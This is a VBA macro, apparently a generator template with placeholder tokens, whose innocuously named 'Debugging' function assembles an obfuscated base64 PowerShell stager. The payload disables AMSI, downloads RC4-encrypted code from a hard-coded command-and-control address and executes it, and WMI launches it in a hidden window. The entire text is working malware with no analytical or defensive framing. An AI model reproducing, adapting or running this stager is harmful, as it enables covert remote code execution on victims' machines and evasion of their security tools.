Public Function [rdm::15]Debugging() Dim [rdm::15]str As String [rdm::15]str = "powershel" [rdm::15]str = str + "l -noP -sta -w 1 -enc WwBSAGUARgBdAC4AQQ" [rdm::15]str = str + "BTAFMAZQBNAGIAbABZAC4ARwBlAHQAVAB5AHAAZQAoACcAUwB5" [rdm::15]str = str + "AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AH" [rdm::15]str = str + "QAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcA" [rdm::15]str = str + "KQB8AD8AewAkAF8AfQB8ACUAewAkAF8ALgBHAEUAVABGAGkARQ" [rdm::15]str = str + "BMAGQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAn" [rdm::15]str = str + "ACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjAC" [rdm::15]str = str + "cAKQAuAFMARQBUAFYAQQBMAFUARQAoACQATgBVAEwAbAAsACQA" [rdm::15]str = str + "dAByAHUARQApAH0AOwBbAFMAeQBzAHQARQBNAC4ATgBFAHQALg" [rdm::15]str = str + "BTAGUAUgB2AGkAQwBFAFAATwBpAE4AVABNAEEATgBBAEcAZQBy" [rdm::15]str = str + "AF0AOgA6AEUAeABwAGUAQwB0ADEAMAAwAEMATwBuAFQAaQBOAF" [rdm::15]str = str + "UAZQA9ADAAOwAkAFcAYwA9AE4ARQBXAC0ATwBCAEoARQBjAFQA" [rdm::15]str = str + "IABTAHkAcwBUAGUAbQAuAE4ARQBUAC4AVwBFAGIAQwBMAEkAZQ" [rdm::15]str = str + "BuAFQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAg" [rdm::15]str = str + "ACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE" [rdm::15]str = str + "8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAA" [rdm::15]str = str + "cgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbw" [rdm::15]str = str + "AnADsAJAB3AEMALgBIAGUAYQBEAEUAUgBzAC4AQQBkAGQAKAAn" [rdm::15]str = str + "AFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJABXAE" [rdm::15]str = str + "MALgBQAFIAbwBYAHkAPQBbAFMAeQBzAFQAZQBtAC4ATgBFAHQA" [rdm::15]str = str + "LgBXAEUAQgBSAEUAUQBVAEUAUwBUAF0AOgA6AEQAZQBGAEEAVQ" [rdm::15]str = str + "BMAFQAVwBlAGIAUAByAE8AWAB5ADsAJAB3AEMALgBQAFIATwBY" [rdm::15]str = str + "AFkALgBDAFIARQBkAEUATgBUAEkAYQBMAHMAIAA9ACAAWwBTAF" [rdm::15]str = str + "kAUwB0AEUATQAuAE4ARQB0AC4AQwByAEUAZABlAE4AdABJAEEA" [rdm::15]str = str + "bABDAGEAYwBoAGUAXQA6ADoARABlAEYAQQB1AGwAdABOAGUAVA" [rdm::15]str = str + "BXAE8AcgBLAEMAcgBFAEQAZQBuAFQAaQBBAEwAcwA7ACQASwA9" [rdm::15]str = str + "AFsAUwBZAFMAVABFAG0ALgBUAEUAeABUAC4ARQBuAGMATwBkAG" [rdm::15]str = str + "kAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcARQBUAEIAWQB0AEUA" [rdm::15]str = str + "cwAoACcAVQBxACYAKQA5ACoASABbAD0ATQBrAG4AYwAlAEEAfQ" [rdm::15]str = str + "BDAFIAbQBRAEIAOgBZAEkALQBzAEoAOwB0AEUAVgBYACcAKQA7" [rdm::15]str = str + "ACQAUgA9AHsAJABEACwAJABLAD0AJABBAFIAZwBzADsAJABTAD" [rdm::15]str = str + "0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoA" [rdm::15]str = str + "PQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJA" [rdm::15]str = str + "BLAC4AQwBPAHUATgBUAF0AKQAlADIANQA2ADsAJABTAFsAJABf" [rdm::15]str = str + "AF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAF" [rdm::15]str = str + "sAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEA" [rdm::15]str = str + "KQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQ" [rdm::15]str = str + "ApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABd" [rdm::15]str = str + "AD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAE" [rdm::15]str = str + "IAWABvAFIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQA" [rdm::15]str = str + "SABdACkAJQAyADUANgBdAH0AfQA7ACQAVwBjAC4ASABlAEEARA" [rdm::15]str = str + "BlAFIAUwAuAEEAZABkACgAIgBDAG8AbwBrAGkAZQAiACwAIgBz" [rdm::15]str = str + "AGUAcwBzAGkAbwBuAD0AWABMAEMAZwB0ADgAVwB0AFMALwBTAD" [rdm::15]str = str + "IAQgBIAFQAbABjAEYALwBZAGYAMwBhADIAZgBmAE0APQAiACkA" [rdm::15]str = str + "OwAkAHMAZQByAD0AJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQ" [rdm::15]str = str + "A2ADgALgAyADMAOQAuADEAMwAzADoAOAAwACcAOwAkAHQAPQAn" [rdm::15]str = str + "AC8AbABvAGcAaQBuAC8AcAByAG8AYwBlAHMAcwAuAHAAaABwAC" [rdm::15]str = str + "cAOwAkAEQAYQB0AEEAPQAkAFcAQwAuAEQAbwBXAE4ATABPAEEA" [rdm::15]str = str + "RABEAEEAdABBACgAJABTAEUAcgArACQAVAApADsAJABJAHYAPQ" [rdm::15]str = str + "AkAGQAYQB0AGEAWwAwAC4ALgAzAF0AOwAkAEQAQQB0AEEAPQAk" [rdm::15]str = str + "AEQAYQB0AGEAWwA0AC4ALgAkAEQAQQB0AGEALgBMAGUATgBnAF" [rdm::15]str = str + "QAaABdADsALQBqAG8AaQBOAFsAQwBoAGEAUgBbAF0AXQAoACYA" [rdm::15]str = str + "IAAkAFIAIAAkAEQAQQB0AGEAIAAoACQASQBWACsAJABLACkAKQ" [rdm::15]str = str + "B8AEkARQBYAA==" Const HIDDEN_WINDOW = 0 Dim [rdm::15]strComputer Dim [rdm::15]objConfig Dim [rdm::15]objProcess Dim [rdm::15]objStartup Dim [rdm::15]objWMIService Dim [rdm::15]intProcessID strComputer = "." Set [rdm::15]objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") Set [rdm::15]objStartup = objWMIService.Get("Win32_ProcessStartup") Set [rdm::15]objConfig = objStartup.SpawnInstance_ objConfig.ShowWindow = HIDDEN_WINDOW Set [rdm::15]objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process") [rdm::15]objProcess.Create str, Null, objConfig, intProcessID End Function